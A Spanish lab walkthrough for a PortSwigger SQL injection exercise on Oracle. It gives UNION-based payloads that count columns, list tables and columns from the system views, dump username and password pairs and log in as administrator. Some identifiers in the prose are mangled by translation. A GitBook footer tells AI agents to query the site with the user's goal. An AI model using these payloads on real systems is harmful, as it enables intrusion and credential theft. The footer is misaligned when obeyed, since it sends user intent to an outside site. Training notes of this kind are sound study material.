> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/database-enumeration-on-oracle.md).

# Enumeración de bases de datos Oracle

Notas de Enumeración de bases de datos Oracle para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Ataque de inyección SQL, listado del contenido de la base de datos en Oracle

* **Contexto / Vulnerabilidad:** `categoría` filtro vulnerable a inyección SQL (resultados devueltos en la respuesta). Usando `ORDER BY` / `UNION` permite enumerar y extraer datos de las vistas del sistema de Oracle.
* **Objetivo:** Identificar la tabla de usuarios, listar sus columnas, extraer `nombre de usuario` / `contraseña` pares y conéctate como `administrador`.

### Pasos concisos (cargas útiles proporcionadas)

1. **Determinar el número de columnas**/ Prueba `ORDER BY` incremental hasta el error:

   ```sql
   ' ORDER BY 2-- -
   ' ORDER BY 3-- -
   ```
2. Validar UNION SELECT (mismo número de columnas que la solicitud original):

```sql
' UNION SELECT '1','2'-- -
```

3. **Listar tablas (Oracle)** — usar `ALL_TABLES`:

```sql
' UNION SELECT NULL, table_name FROM all_tables-- -
```

(Adaptar `NULL`/número de columnas según la consulta vulnerable.)

4. Listar columnas de una tabla identificada (aquí USERS/ JREIFY):

```sql
' UNION SELECT NULL, column_name
  FROM all_tab_columns
  WHERE table_name = 'USERS_JREIFY'-- -
```

Nota: Oracle normaliza los nombres no listados en MAYÚSCULAS.

5. Extraer contenido (volcado) — ejemplo con columnas identificadas:

```sql
' UNION SELECT USERNAME_SWTJLF, PASSWORD_NTBPBA
  FROM USERS_JREIFY-- -
```

Ajustar el orden/tipos; usar `TO_CHAR`, `CAST`  o  `NULL` para hacer coincidir los tipos si es necesario.

6. **Inicio de sesión de administrador**

* Use las credenciales exfiltradas en la página de inicio de sesión.
* O, si es necesario, ejecutar un bypass de autenticación una vez confirmadas las columnas.

Detalles técnicos útiles

* Si UNION falla por tipos diferentes, sustituye las columnas por null o TO/ CHAR(col) para forzar la compatibilidad.
* Las vistas de metadatos (ALL/ TABLES, ALL/ TAB/ COLUMNS, DBA/ /\*) pueden estar restringidas por los privilegios de la cuenta de BD; el acceso varía según los permisos de la aplicación.
* Oracle a menudo requiere nombres en MAYÚSCULAS para la comparación table/ name = 'USERS/ JREIFY' a menos que la tabla se haya creado entre comillas.

Impacto

* Compatibilidad de identificadores, acceso elevado, exfiltración/modificación de datos, control completo de la aplicación.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/sql-injection/database-enumeration-on-oracle.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
